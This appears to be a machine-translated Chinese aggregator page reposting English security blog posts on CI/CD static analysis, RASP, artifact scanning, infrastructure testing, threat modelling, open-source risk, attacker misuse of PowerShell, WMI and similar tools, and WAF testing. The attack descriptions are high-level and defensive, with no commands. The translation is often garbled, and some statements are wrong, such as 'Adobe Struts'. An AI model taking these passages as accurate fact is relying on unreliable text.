- 编程语言:工具可能支持单语言或多语言。如果你的代码库涵盖多种语言,像Coverity这样支持14种语言(包括JavaScript,.NET,Java和Python)的单一工具可能是发现跨语言错误的最全面的选择。
- 实时工具:瞬时分析工具非常适合在编写开发环境时检查代码。在这里,权衡是对更彻底,耗时的检查的速度。其中许多是开源的,可以更容易地采用和定制。
- 深度分析工具:另一方面,深度分析工具可能需要更长的时间,并且可能会识别实时工具可能遗漏的问题。该领域的企业级工具通常需要很高的许可费用,并且它们可能会带来更多的问题,而不是您要解决的带宽问题。其中许多工具可能配置为仅报告最重要的问题。
- 编译器:虽然不是专用的静态分析工具,但编译器也可用于提高代码质量。您可以使用配置标志来调整它们执行的检查数。
在CI / CD中集成静态分析
在使用静态分析工具的众多好处中,对组织最有益的是能够在错误发布之前发现错误(以及修复成本较低的时候)。在CI / CD的DevOps实践中,静态分析工具提供了额外的好处。
在开发过程中,需要花费很长时间才能运行的工具会被忽略。即使静态分析并不总是一个漫长的过程,它仍然不是开发人员时间的最佳用途。在CI / CD中集成分析工具可确保一致且自动地使用它们,同时提供额外级别的分析,以确保无法通过任何内容。
如何在您的环境中集成静态分析工具有不同的选项。一种方法是在管道的早期运行它以及其他自动化测试。此时,您将能够在同行代码审查之前解决任何问题,并加快整个过程。反过来,开发人员花在审查上的时间更少,并且有更多时间来开发新代码。
如果您拥有大量代码库,则在每次提交时运行深入分析可能会花费太多时间。相反,您可以在开发分支上使用不太全面的分析配置,并按计划执行更昂贵的扫描,或者在集成到上游分支时执行。我们的目标是尽可能早地发现错误,您可以选择最适合您团队的系统。像Klocwork这样的工具完全采用了CI / CD工作流程,并且可以逐步分析每次提交时的代码更改。
高端静态分析工具还可以随时跟踪错误。这可以帮助您选择在当前发布周期中处理哪些问题,因为源代码不断被集成。在长期遗留的代码中报告的问题没有引起问题,可能不值得花时间投资来解决它们。相反,使用宝贵的开发人员时间来关注更近期的问题。
另一个实际约束是可用于静态分析的预算。不是为每个开发人员获取许可证,而是在一定数量的构建计算机(如果可能的话,单个计算机)上运行分析工具。
通过在Cloud Academy上的CI / CD管道实验室中完成静态代码分析,您可以体验静态分析在CI / CD中的工作原理。这个新的动手实验室使用以AWS为中心的连续部署管道来部署Node.js应用程序。该应用程序最初发布到生产中而不执行静态分析。您将学习如何对已部署的应用程序执行注入攻击,然后使用静态分析来识别安全问题。最后,将静态分析集成到管道中的AWS CodeBuild构建阶段,以防止在实施修复之前部署易受攻击的代码。这是最终的环境:
CI / CD中基础设施静态分析代码
作为代码的基础设施(IaC)为开发人员提供了许多好处,包括没有配置偏差,易于重现的环境以及简化的版本控制协作。您是否知道静态分析还可用于实施代码标准并识别基础架构的安全漏洞?通过对基础架构代码使用静态分析,与需要实际部署基础架构的基础架构测试相比,您可以自动化流程并接收早期反馈,这可能是一项耗时的操作。
对于您可能正在使用的大多数IaC框架,通常都会内置某种形式的静态分析。可能有命令检查语法,确保使用有效的参数值,并自动设置代码样式。您还可以执行干运行部署,以检查环境中发生的更改,或在实际部署任何基础结构更改之前检测错误。
您可以使用自己的自定义分析代码补充这些命令,以检查您需要验证的任何内容,例如确保某些端口不对公共互联网开放。幸运的是,通常有开源静态分析工具已经提供了常见的检查。例如,cfn_nag可用于检查AWS CloudFormation模板(AWS的本机IaC框架)中的安全问题。 cfn_nag检查的其他示例包括:
- 确保IAM策略不会过于宽松
- 确保在提供加密的服务上启用加密
- 确保安全组不会过于宽松
如果开源IaC静态分析工具不提供您想要的检查,则可能更容易将其添加到现有代码库而不是从头开始。
您可以亲身体验如何在云学院动手实验室的CI / CD管道中进行IaC静态分析:静态分析和基础设施警报作为代码。该实验室使用Terraform作为IaC框架,使用Jenkins作为其持续集成管道。您将了解Terraform中内置的静态分析功能以及两个改进Terraform本机功能的开源静态分析工具。通过推送到Git存储库,可以持续集成新的基础架构代码。您还将学习如何根据静态分析的结果配置Amazon SNS通知。这是实验室的最终环境:
补充静态分析
虽然静态分析工具在不断改进,但它们并不是满足您所有代码质量和安全需求的灵丹妙药。 相反,将它们视为更全面的解决方案的一部分,以提高应用程序和基础架构代码的质量和安全性。 有时,您仍然需要使用传统的应用程序单元和集成测试,甚至是基础架构测试。 您将能够在我们的动手实验室,使用Serverspec进行基础架构测试中自行测试Serverspec基础架构测试框架。
安全性是另一个重要的自动化测试框架类别。 在此动手实验中学习如何使用Gauntlt保护您的代码免受攻击。 使用Gauntlt,您可以为几种流行的安全分析工具编写自动化测试,并且可以轻松扩展到其他工具。
确保安全的应用程序是安全性的一个重要方面。 传输层安全性(TLS)/安全套接字层(SSL)协议是保护Web上通信的标准。 了解部署SSL / TLS的最佳实践以及在此Cloud Academy实验室中测试SSL / TLS部署的工具。
原文:https://cloudacademy.com/blog/what-is-static-analysis-within-ci-cd-pipelines/
本文:http://pub.intelligentx.net/what-static-analysis-within-cicd-pipelines
讨论:请加入知识星球【首席架构师圈】
- 45 次浏览
【安全运营】什么是运行时应用程序自我保护(RASP)?
应用程序已成为希望渗透企业的Web掠夺者的成熟目标。这是有充分理由的。 Black Hats知道如果他们能够在应用程序中找到并利用漏洞,他们就有三分之一的机会成功解决数据泄露问题。更重要的是,在应用中发现漏洞的可能性也很大。 Contrast Security表示,90%的应用程序在开发和质量保证阶段都没有针对漏洞进行测试,甚至更多的应用程序在生产过程中没有受到保护。
由于企业中存在如此多的易受攻击的应用程序,网络防御者面临的挑战是如何保护这些应用程序免受攻击。一种方法是让应用程序通过实时识别和阻止攻击来保护自己。这就是运行时应用程序自我保护(RASP)所做的技术。
什么是RASP?
RASP是一种在服务器上运行并在应用程序运行时启动的技术。它旨在实时检测对应用程序的攻击。当应用程序开始运行时,RASP可以通过分析应用程序的行为和该行为的上下文来保护它免受恶意输入或行为的影响。通过使用应用程序持续监控自己的行为,可以立即识别和缓解攻击,无需人为干预。
RASP将安全性整合到正在运行的应用程序中,无论它位于服务器上。它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。 Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能在应用程序运行的服务器上运行。
RASP如何运作
当应用程序中发生安全事件时,RASP会控制应用程序并解决问题。在诊断模式下,RASP只会发出警告,表示出现问题。在保护模式下,它会尝试阻止它。例如,它可以停止执行似乎是SQL注入攻击的数据库的指令。
RASP可以采取的其他操作包括终止用户会话,停止应用程序执行或警告用户或安全人员。
开发人员可以通过几种方式实现RASP。他们可以通过应用程序源代码中包含的函数调用来访问该技术,或者他们可以将完整的应用程序放入一个包装器中,该应用程序只需按一下按钮即可保护应用程序。第一种方法更精确,因为开发人员可以在应用程序中做出有关他们想要保护的内容的具体决策,例如登录,数据库查询和管理功能。
无论哪种方法与RASP一起使用,最终结果就像将Web应用程序防火墙与应用程序的运行时上下文捆绑在一起。与应用程序的紧密连接意味着RASP可以更好地适应应用程序的安全需求。
超越外围以获得更好的应用安全性
RASP与传统防火墙具有一些共同特征。例如,它查看流量和内容,并可以终止会话。但是,防火墙是一种外围技术,无法看到周边内部发生的情况。他们不知道应用程序内部发生了什么。此外,随着云计算的兴起和移动设备的激增,外围变得更加多孔化。这降低了通用防火墙和Web应用防火墙(WAF)的有效性。
“安全顾问与WAF有着爱恨交织的关系,因为他们通常在服务的那一天最有效,并且在接下来的几个月里逐渐变得不那么有效,”Rendition InfoSec的首席顾问杰克·威廉姆斯在一篇论文中写道SANS研究所题为“内部保护:应用安全方法比较”。
“有效性下降的原因是,在组织执行成本分析并决定WAF部署比修复应用程序的源代码更便宜之后,WAF部署通常是针对某些渗透测试或安全事件而发生的。”
自我保护应用程序成为现实
RASP的一个优点是,一旦攻击者穿透了外围防御,它就可以保护系统。它深入了解应用程序逻辑,配置和数据事件流。这意味着RASP可以高精度地阻止攻击。它可以区分实际攻击和合法的信息请求,从而减少误报,并允许网络防御者花费更多的时间来解决实际问题,减少追逐数字安全死角的时间。
此外,它自我保护应用程序数据的能力意味着保护随着数据从出生到破坏而传播。这对于需要满足合规性要求的组织尤其有用,因为自我保护的数据对于数据窃贼来说是无用的。在某些情况下,如果被盗数据的形式使其在被盗时不可读,则监管机构不要求报告数据泄露事件。
与WAF一样,RASP也不会修复应用程序的源代码。但是,Williams解释说它确实与应用程序的底层代码库集成,并在源代码级别保护应用程序的易受攻击区域。
“当客户端进行包含可能对Web应用程序造成损害的参数的函数调用时.RASP在运行时拦截调用,记录或阻止调用,具体取决于配置。这种保护Web应用程序的方法与WAF基本不同。 “
为BYOD提供更好的技术,但需要付出代价?
RASP还可以使移动环境受益。根据移动操作系统的不同,保护应用程序免受攻击对组织来说是一个可疑的主张。使用RASP保护它们可以使BYOD成为IT部门的安全挑战。
不利的一面是,在部署RASP时,应用程序性能可能会受到打击,尽管受到多大关注是该技术的批评者和支持者之间争论的焦点。自我保护过程可以减慢应用程序的速度,RASP的动态特性也是如此。如果这种延迟对用户来说变得明显,那么它肯定会在组织中产生焦虑。但是,在更多应用程序开始将RASP合并到其功能中之前,性能问题的严重程度将不明确。
记住RASP是盾牌也很重要。如果某个应用程序存在缺陷,即使受到RASP保护,它也会保持不变。此外,RASP无法抵御所有类型的漏洞。因此,尽管它将为应用程序提供大量保护,但它并不能使应用程序像从开始到结束时安装到应用程序中的安全性一样安全。出于这些原因,一些安全专家建议将该技术与其他方法一起使用以保护应用程序。
在安全方面建设更好,但在那之前......
由于RASP还处于青春期,它相信它将能够克服其缺陷并成为应用程序安全的未来。正如Veracode首席创新官约瑟夫·费曼(Joseph Feiman)在担任Gartner研究副总裁期间所说:
“现代安全无法测试和保护所有应用程序。因此,应用程序必须能够进行安全自检,自我诊断和自我保护。它应该是CISO的首要任务。”
另一方面,如果安全性开始在开发时间线中更深入地传播,那么RASP旨在阻止的许多攻击将被内置到应用程序的源代码中。这将减少对RASP的需求,但保护旧版应用程序仍然很方便。
原文:https://techbeacon.com/security/what-runtime-application-self-protection-rasp
本文:http://pub.intelligentx.net/node/470
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 93 次浏览
【安全运营】使用Artifactory和Xray阻止下载
没有人想生病,所以我们会在天气变冷的时候穿夹克,服用维生素C,避免在湿雪的雪地里外出。我们都做了不同的事情,以避免讨厌令人讨厌的病毒和细菌,因为我们知道生产力的损失和我们必须努力使我们的身体系统再次恢复良好的负担远远超过我们一直采取的这些预防措施。
检测安全漏洞,以便您的系统不会“感冒”
您的软件系统也是如此。如果具有已知问题或漏洞的工件进入您的生态系统,则需要花费您去除它。当然,既然您拥有JFrog Xray,您就可以检测到安全漏洞,性能问题甚至是您定义的自定义问题,但如果您只是在使用它们时才检测到这些问题,那么您将需要做一些工作。您的组件已经经历了X开发和QA循环,您可能已准备好发布到生产中,然后有人记得Xray在几周前暴露了其中一个依赖项中的安全漏洞。哎呀,停止开发,找到替代组件,重构代码,开发-QA-repeat-X-times,花费数周的时间让你的代码再次运行良好。如果你可以避免这种情况,那不是很好吗?好吧,现在你可以!
预防胜于治疗
到目前为止,这些东西都是手动处理的。将工件下载到远程存储库缓存时,会触发Xray运行扫描,如果检测到任何问题,则会通知DevSec工作人员。然后你必须决定是否发布工件以供下载,并手动管理。 JFrog Artifactory的最新版本允许您将DevSec带出循环。您现在可以自动阻止Xray检测到安全漏洞的工件下载。
有两个级别的保护。首先,您可以指定引入Artifactory的工件(无论它们是否已缓存在远程存储库中,还是上载到本地存储库),在Xray对其进行索引和扫描之前,无法下载这些工件。这类似于信用卡公司在授予您信用卡之前进行的背景调查。同样,在对它们运行背景检查(X射线扫描)之前,您不希望为工件提供任何信用。
第二级保护可以更好地控制应该阻止哪些工件(如果有的话)。 工件中发现的问题按严重性级别进行评级:次要,主要或严重。 并非每一个小问题都必须成为您的交易障碍。 这是你控制的东西。 当问题暴露时,您会收到通知,但在您有机会进一步调查问题之前,您可能不想立即停止开发。 相反,你很有可能想要阻止任何有关键问题的工件,而你的开发人员只需要寻找其他东西。 因此,如果Xray检测到问题,您可以指定要在哪个严重性级别阻止工件。
无论您选择使用哪种设置,只要设置它们,Xray就会被触发扫描整个存储库,因此任何未通过信用检查的组件都会立即被阻止。
为避免让开发人员误解他们为什么空手而归,Artifactory会在树形浏览器中显示有关被阻止工件的通知,并为REST API调用提供信息性错误消息,因为工件已被阻止而失败。
所以Xray和Artifactory一起是你的软件系统夹克,羊毛帽子或膳食补充剂。 他们是不知疲倦的哨兵,防止任何未经检查,可疑和可能有害的文物进入您珍贵的生产系统附近。 通过下载阻止,您的系统可以接种神器疾病,因此您可以信任它们以最佳状态执行并执行他们应该执行的操作。 这一切都是自动发生在背景中而不必抬起手指。
原文:https://jfrog.com/blog/blocking-downloads-with-artifactory-and-xray/
本文:
讨论:请加入知识星球【首席架构师圈】
- 50 次浏览
【安全运营】使用Serverspec进行基础设施测试
描述
实验室概述
DevOps中的一个重要原则是测试您的基础架构。测试应作为持续交付管道的一部分运行,为您提供基础架构变更的灵活性和信心。 Serverspec是基础架构测试框架的一个示例。 Serverspec可用于通过SSH或WinRM连接来测试本地和远程目标计算机。
本实验说明了如何使用Serverspec执行基础结构测试。您将编写Serverspec测试以指定在反向代理,负载平衡层和示例应用程序的应用程序层中运行的计算机的预期行为。测试说明了如何描述服务器和Docker容器的预期行为。您将在命令行和Docker容器中使用Serverspec运行测试。
实验室目标
完成本实验后,您将能够:
- 了解自动化基础架构测试适合DevOps的位置
- 初始化Serverspec基础结构测试套件
- 编写Serverspec测试各种Serverspec资源,包括包,服务,端口和Docker基础结构
- 从命令行和Docker容器中运行Serverspec
实验室先决条件
你应该熟悉:
- 一种编程语言。 Ruby熟悉是最有益的,但不是必需的。
- 基本的Docker概念,例如图像和容器
- 基本的Linux概念,例如命令行,进程,包和服务
实验室环境
在完成实验室说明之前,环境将如下所示:
完成实验室说明后,环境应类似于:
讨论:请加入知识星球【首席架构师圈】
- 38 次浏览
【安全运营】大规模的威胁模型:如何从策略转向执行
每个组织都希望具备网络弹性。大多数团队使用横向软件开发生命周期(SDLC)思维模式(如安全要求,威胁建模,代码扫描程序等)自下而上地解决问题。不幸的是,尽管这些方法很有用,但它们并不能很好地扩展。
利益相关者不知道围绕安全要求要求什么,威胁建模是不一致的 - 取决于建模和代码扫描程序错过50%或更多安全问题的团队。但是有更好的方法。
专注于您的垂直管道 - 从标准和知名行业框架生成的安全策略到SDLC启动的过程。策略提供了一个指导SDLC的护栏,以便您建立安全性。
由于管道本质上是垂直的,因此在SDLC中完成的任何工作都会自动汇总到更高级别,从而使您可以近乎实时地了解应用程序组合的安全状况。
以下是如何以独立于平台的方式创建策略到执行管道。
解决政策与执行之间的差距
在一个专注于安全性的典型企业中,您通常会看到三组人:
- 安全团队,专注于应用程序和操作安全性,供应商风险管理,威胁监控和培训
- 风险和合规团队,专注于处理隐私,审计和策略创建的合规生命周期
- IT团队(包括开发和运营)专注于与敏捷,DevOps和混合基础架构管理相关的活动
图1.安全性与创建策略的风险和合规性团队以及必须执行这些策略的IT团队之间经常存在策略到程序的差距。
安全性以及风险和合规性团队根据ISO-27001等标准制定策略,并将这些策略交给IT团队,假设IT可以针对他们执行。
但大多数IT团队并不了解如何解释这种高级抽象政策。它们习惯于处理与缓存,身份和访问管理相关的过程。
因此,根本的挑战是将抽象的高级策略转换为IT团队可以执行的事项。这是政策与执行之间的差距。
使用集成流程实现策略到执行
每个团队都有自己的流程和工作流程。安全团队有自己的流程专注于持续的安全管理。同样,风险和合规团队拥有持续的风险和合规性管理工作流程,技术团队拥有DevOps管道。
图2.安全性与风险和合规性团队(左)和技术团队(右)创建的流程之间经常存在脱节。
图3.在安全性,风险和合规性团队以及技术团队之间架起不同的流程需要创建对所有方面都有意义的通用标准。
面临的挑战是将每个不同的流程整合到对风险管理有意义的业务中。实现这一目标的方法是从生成安全标准的安全团队开始。
在安全标准中,您有几个子句。这些条款然后进入另外两个工作流程:
- 技术团队,其中安全控制由标准中的条款生成
- 风险和合规团队,根据风险来衡量这些条款,以确定哪些条款具有更高的优先级
当技术团队执行日常活动时,他们的工作结果就是确认政策是否得到满足。您可以通过将安全控件映射到预定义的应用程序体系结构来实现此证明。映射到体系结构而不是单个应用程序的原因是为了减少为每个应用程序复制一组接受的控件的开销。
集成工具
这一切都始于对业务风险的评估。通过该评估,您可以确定安全业务需求,从而进入使用建模工具捕获的体系结构或服务定义。
然后,此体系结构将进行威胁建模活动,其结果将进入与DevOps管道集成的业务安全需求存储库。在管道中,您将集成应用程序生命周期管理(ALM)工具,构建工具和静态/动态分析测试工具。构建成功后,工件将移动到包含配置文件,代码文件和脚本的存储库中。
在构建存储库中,您将部署执行到测试环境中,该测试环境使用功能和非功能测试工具来解决质量问题。如果发现错误,它将被推回到您的ALM,DevOps管道再次启动。如果一切都过去了,管道的下一个阶段将返回到存储库并部署到您的预生产和生产环境中,您可以在其中进行真正的用户测试。
但是如果有任何错误,它会在测试环境中重新测试。最后,如果在测试中确认了失败,则必须在DevOps管道开始时返回并启动它。
构建生产后,SecOps工具会监视生产环境。如果发现任何漏洞,它们将再次返回到您的DevOps管道中,并根据需要修改安全策略。这创建了一个完整的循环,从业务风险管理一直到您的DevOps管道,并带有持续改进的反馈循环。
[另请参阅:为什么以及如何使用Jenkins将管道实现为代码]
关注相关指标
考虑对业务最有意义的领域。在Info-Tech Research Group的研究中,我们发现了三个:
- 弹性:哪些指标会显示您可以在发生违规时快速恢复的业务?
- 风险和合规性:哪些指标会显示您符合标准或法规?
- 速度:哪些指标会显示您在保持安全的同时不会妨碍业务?
以下是一些需要考虑的指标:
- 是时候修补漏洞了
- 大多数代码区域已更改
- 部署频率
- 改变失败率
- 应用性能
一步一步
总之,您需要了解三件事。 首先,高层政策与执行之间存在根本差距。 其次,解决这一差距需要整合安全性,风险和技术工作流程。 第三,不要试图一次性完成这一切。 从最容易注入安全性的地方开始,然后从那里开始构建。
最终,您的目标是建立一种价值安全的文化,因为它降低了业务风险,并且不会妨碍其需求。 正如需要通过DevOps集成开发和运营活动一样,您现在需要集成安全和风险团队。
想知道更多? 来参加我的SecureGuild在线安全测试会议,我将从威胁建模的角度详细介绍如何创建垂直管道。 会议从5月20日到21日举行。不能成功吗? 活动结束后,注册人可以完全访问所有演示文稿。
原文:https://techbeacon.com/security/threat-model-scale-how-go-policy-execution
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 31 次浏览
【安全运营】开源软件安全风险和最佳实践
开源软件的本质意味着,虽然它由多个开发人员审查,但应采取额外步骤以确保其安全性。
企业正在利用各种开源产品,包括操作系统,代码库,软件和应用程序,用于各种业务用例。虽然使用开源具有成本,灵活性和速度优势,但它也可能带来一些独特的安全挑战。鉴于开源组件可能存在于高达96%的商业应用程序中,您如何确保您的软件是安全的?
我们询问了Cloud Academy内容团队的两名成员 - 我们的DevOps专家Logan Rakai和我们的所有安全专家Stuart Scott - 分享他们帮助保持开源组件安全的技巧。
是什么让开源组件容易受到安全风险的影响?
一些开源项目的短暂发布周期可能难以跟上。
从好的方面来说,新功能和补丁很快就会被部署。但是,审核每个版本可能是某人的全职工作,当您在一个版本中管理所有问题时,另一个版本已准备就绪。本周风味的开源框架是一个安全的噩梦,虽然拥有一个扫描最新更新的自动化系统将有所帮助,但它不是一个可以识别所有问题的故障保护。
有了这么广泛的用户群来测试软件,发现潜在的漏洞安全漏洞,开源软件(OSS)通常被认为更安全。但是,在捕获和修复安全问题时,仅仅关注问题是不够的。安全问题需要安全专业知识,并非所有开发人员都是安全专他们可能已经足够了解并尝试实施某些修复,但这可能会产生错误的风险缓解感。例如,加密等更高级的主题可以进一步缩小那些可以检查代码是否存在此类安全漏洞的人。
开源项目中的依赖性允许一些漏洞在雷达下飞行。
从包管理器中提取的包含未知第三方库的项目可能会传递不易看到的漏洞。许多开发人员确定版本范围,以确保未来的补丁可用。但是,删除多个项目的依赖项可能首先更难以注意到,并且更有可能是可以被利用的攻击向量。
开发人员和DevOps团队可以做些什么来更好地保护开源组件?
将所有内容视为代码,包括合规性。这样做有助于确保遵循已知的法规,包括支付卡行业(PCI)或医疗保健(HIPAA)信息隐私。这也可以更容易地确保普遍应用补丁。
拥抱自动化。
及时了解在线源(例如国家漏洞数据库)中记录的漏洞或在项目主页上发布的漏洞,这也是非常耗时的。放置一些前线工具以帮助捕获明显的事物(有一些很棒的商业和开源动态应用程序安全测试(DAST)解决方案可用)并使用监控工具来跟上实时发生的事情。 SumoLogic等工具非常棒,可作为安全信息和事件管理(SIEM)的现代替代品。静态代码分析至少必须是CI / CD过程的一部分,它可以自动,及早地检测安全问题,以补充同行评审。
将开发人员和安全性结合。
在一起请您的安全团队培训开发人员,以全面了解安全性和最新趋势。与安全团队合作举办的初步安全编码研讨会是开展工作的好方法。邀请他们设计评论,并在进行高风险变更时将其纳入会议。
建立安全第一的文化。
您的组织必须关注的不仅仅是将开发人员和安全性结合在一起,还要确保将有效的安全实践内置到您执行的所有操作中。世界上最好的解决方案和最好的警报机制无法解决不良的安全措施。例如,Equifax漏洞归因于开源软件Adobe Struts的易受攻击版本,就是一个很好的例子。自2017年广为人知的违规行为以来,尽管有补丁可用,公司仍在下载易受攻击的软件包版本。 (补丁也在Equifax漏洞发布前两个月发布,并且自那时起多次发布。)在DevOps文化中,安全性讨论必须尽早发生,并且通常在整个软件开发生命周期内及之后发生。如果您使用的是开源组件,那么您有责任了解更新并实际应用它们。
幸运的是,有一些工具可以帮助您评估并提供有关您在应用程序中使用的开源软件的安全性的信心。 Black Duck和Sonatype Nexus提供两种工具,为管理开源风险提供企业级端到端解决方案。请注意,这些解决方案不是一夜之间的解决方案,需要时间进行集成。
还有免费工具可用于评估开源软件和容器中的风险。许多开源软件包使用免费的静态分析扫描仪,结果可供所有人检查。
Coverity Scan提供对开源软件的免费深度扫描,其中包括Common Weakness Enumeration(CWE / SANS)Top 25漏洞。许多项目都信任Coverity Scan,包括Linux内核和Apache项目,如Hadoop。您可以在项目页面上找到它们。
如果您对所识别的风险不满意,可以考虑使用备用软件或版本。同样,如果您在DevOps实践中使用Docker容器,则可以利用Docker托管的官方映像的Docker Security Scanning结果,并使用相同的技术扫描您自己的私有存储库映像。
原文:https://dzone.com/articles/open-source-software-security-risks-and-best-pract
本文:http://pub.intelligentx.net/open-source-software-security-risks-and-best-practices
讨论:请加入知识星球【首席架构师】
- 71 次浏览
【安全运营】当你拥有自己的工具攻击时:前5名
今年早些时候,一群网络犯罪分子开始使用大杂烩技术攻击公司,留下电影“黑客帝国”的参考资料,并使用勒索软件加密关键企业系统。
这一被反病毒软件供应商Sophos称为“MegaCortex”的攻击似乎来自受攻击的域控制器,攻击者可能使用窃取的管理员凭据访问了这些域控制器。一旦进入内部,攻击者就会使用常用技术来使用已经受到攻击的系统上的工具 - 称为“在陆地上生活” - 以避免被发现。
例如,该组使用PowerShell中的命令行界面,可在所有Microsoft Windows系统上使用。使用PowerShell,他们解码并运行一个模糊的脚本,在系统中设置后门,然后使用Windows Management Instrumentation(WMI)软件自动感染网络上的其他计算机。
Sophos高级安全顾问John Shier表示,这些技术正变得越来越普遍,并且不乏可以为攻击者目的而增加的工具。
“有超过100种不同的工具可供攻击者自动攻击使用。他们正在使用Windows系统自己的工具来对抗它。”
-John Shier
以下是攻击者针对您的企业系统的主要工具。
1. PowerShell
当Windows系统成为攻击的目标时,PowerShell通常是攻击者的常驻工具。与Linux系统上的Bash shell一样,PowerShell允许攻击者创建可以自动执行危害系统任务的脚本。
2010年,两位安全专业人士--Dave Kennedy和Josh Kelly在DEFCON 18的演讲中强调了PowerShell作为后期开发技术的实用性。2011年,另一位安全专业人士Matt Graeber写了一篇关于他自己涉足帖子的描述-exploitation PowerShell编码,在他博客的帖子中有一个例子。
Palo Alto Networks威胁情报副总裁Ryan Olson表示,Graeber开发的脚本已经进入许多公共工具,用于将代码加载到内存中以避免将代码写入磁盘。
“自Windows 7以来,PowerShell内置于所有Windows系统中,这意味着总有一个强大的脚本引擎可以访问他们可以访问的任何Windows主机上的资源。”
-Ryan Olson
2. Docker
对于许多开发人员和运营专业人员而言,Docker是一种工具,可以让容器快速旋转,以便在自定义应用程序环境中工作。它还可以在软件转移到生产之前测试正在开发的应用程序。
但是,如果开发人员不关心他们使用哪些图像作为其容器的基础,则攻击者可以使用恶意Docker容器在公司网络内运行代码。虽然Docker容器的安全功能是他们无法在没有明确许可的情况下访问本地软件,但他们可以扫描网络以寻找其他系统来感染或执行其他任务,Crowdstrike威胁情报副总裁Adam Meyers表示,安全服务公司。
“这是一个很棒的工具,但是如果镜像不安全或者镜像上的东西不必存在,或者它们有漏洞,那么攻击者可能会利用它。”
-Adam Meyers
3. WMI
这种基于Windows的应用程序界面允许访问管理信息,并且作为攻击者获取有关网络上系统的其他信息并自动进一步攻击的管道非常有用。
Meyers说,WMI已被犯罪分子和民族国家的对手使用。
“对手可以访问的任何东西,以及可以发出命令并让它执行动作的东西,对他们来说都具有潜在的价值。”
-Adam Meyers
4. VBScript
Microsoft系统管理员使用Visual Basic Scripting(VBScript)语言使用类似Visual Basic的语言自动管理计算机。但是VBScript也是攻击者自动感染系统的常用方法,特别是如果它们将其作为Office文档的一部分包含在内。
Palo Alto Networks的Olson表示,使用VBScript和其他工具防范攻击需要安全管理员权衡工具的好处和风险。
“对于很多像PowerShell和VBScript这样的工具,限制它们的使用和实用性非常重要。为这些工具创建白名单和黑名单。你可以将它们仅限于某些系统或某些功能。”
-Ryan Olson
5.压缩工具
任何攻击者的一个关键步骤是从目标系统中获取数据,因此他们通常会在系统上使用压缩工具,这不仅可以缩小数据的大小,还可以对信息进行模糊处理。他们可以共同选择各种常用工具来帮助他们。
“对于数据泄露,攻击者通常需要在将文件发送到另一个位置之前对其进行归档,”Olson说。 “他们可以使用Windows中的内置压缩功能实现这一目标,或者寻找其他已安装的工具,如7-Zip或WinRAR。”
这些常用工具并不是攻击者从受感染系统扩展妥协的唯一方法。开发人员必须提防知识渊博的攻击者,他们将代码插入到他们的开发路径中,例如最近针对游戏公司的攻击。
Sophos的Shier表示,在这些情况下,攻击者采取编译器和陷阱陷阱,以便当开发人员编写代码时,它会在那里放一些特殊的酱 - 一个后门。
“仅仅因为它不是PowerShell或WMI并不意味着具有足够技能的攻击者无法进入您的环境并在您的路径中添加DLL,最终会为您的代码添加后门。”
-John Shier
关闭你的系统
虽然适用于网络安全的“生活在陆地上”这一术语有点新,但技术却并非如此。 1986年,正如“咕咕蛋”中记载的那样,来自西德的攻击者闯入劳伦斯利弗莫尔国家实验室的计算机,攻击了其他各种政府和军用计算机,主要使用系统上已有的工具。
然而,当前技术使用的增加标志着十年前趋势的逆转,当时攻击者使用自定义恶意软件。 Crowdstrike的Meyers表示,随着越来越多的公司使用可以检测恶意定制软件的防御系统,攻击者会专注于以恶意方式使用现有工具。
“从威胁演员的角度来看,他们希望在检测之前增加时间,以便他们可以离开那个系统。通过在陆地上生活并使用已经在系统上的工具,他们可以避免大量的传统的防病毒类解决方案。“
-Adam Meyers
原文:https://techbeacon.com/security/when-your-own-tools-attack-top-5-offenders
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 16 次浏览
【安全运营】您应该了解的Web应用程序防火墙测试
如果您已经拥有端到端测试,UI测试或其他与真实最终用户相似的测试,请考虑在开发生命周期的早期阶段向这些测试添加Web应用程序防火墙(WAF)。它不会花费太多时间,您将获得许多额外的安全性和其他好处。
理想情况下,您已经对Web应用程序进行了测试。如果没有,请创建它们。然后使用相同的测试来确定您是否仍然在应用程序前面使用WAF具有完整的应用程序功能。您的测试仍应成功,并且您的ModSecurity日志应为空 - 这意味着您的测试不会触发WAF规则。
作为WAF ModSecurity的OWASP核心规则集(CRS)的共同开发者,我觉得分享如何将WAF引入DevOps非常重要。我希望通过自动化WAF测试来减少对WAF的恐惧。
以下是如何确保您的团队使用WAF顺利进行。
什么是WAF?
传统防火墙在TCP或IP网络层工作,而WAF在应用层阻止攻击。它有助于保护您免受Web应用程序攻击,并在您的应用程序前创建一个安全网。你需要它,因为你永远不能相信你的代码100%。
不幸的是,WAF也可能阻止合法流量,导致误报和生产问题。只有当所有组件都是DevOps /测试/自动化管道的一部分时,DevOps,测试和自动化才有意义。让一切都完全自动化并经过测试是没有意义的,然后在生产中将WAF放在您的应用程序前面。使WAF成为您测试的一部分。
如果您在开发周期的早期开始使用Web应用程序测试WAF,则可以确保Web应用程序正常运行。 WAF可以帮助防止Web应用程序攻击,例如SQL注入,跨站点脚本,对HTTP协议的攻击以及其他威胁。 WAF不会阻止所有攻击,但它使攻击者更难以利用漏洞。
以下是您的测试工具所需的工具。
ModSecurity WAF
ModSecurity是一种流行的WAF,可用作NGINX,Apache或IIS模块。 ModSecurity是引擎,它需要规则来检查每个HTTP请求和响应。
这就是CRS的用武之地。它主要由正则表达式组成,它为每个请求决定它是合法的,攻击还是信息泄漏。 ModSecurity和CRS都是免费提供的开源软件,并且拥有出色的社区支持。
OWASP DevSlop的Pixi
OWASP DevSlop代表“草率的DevOps”。该项目的目标是使用几个示例管道,博客文章,YouTube频道等展示DevSecOps。
DevSlop由不同的模块和管道组成。有些可以作为DevSecOps如何完成的一个例子。它的一些应用程序或模块可以作为试验Web应用程序攻击或使用ModSecurity和CRS的游乐场。
Pixi是DevSlop项目中许多计划应用程序中的第一个。您可以使用这个故意易受攻击的Web应用程序来试验Web应用程序攻击。当Pixi受CRS(另一个DevSlop模块)保护时,示例Web应用程序攻击不再成功。
TestCafe
您可以使用TestCafe的开源版本来测试Web应用程序,同时模拟用户的使用方式,您也可以使用相同的测试来测试您的WAF。
具体来说,您可以测试在应用程序前是否仍具有WAF的完整应用程序功能,以及ModSecurity日志是否仍为空。
设置管道
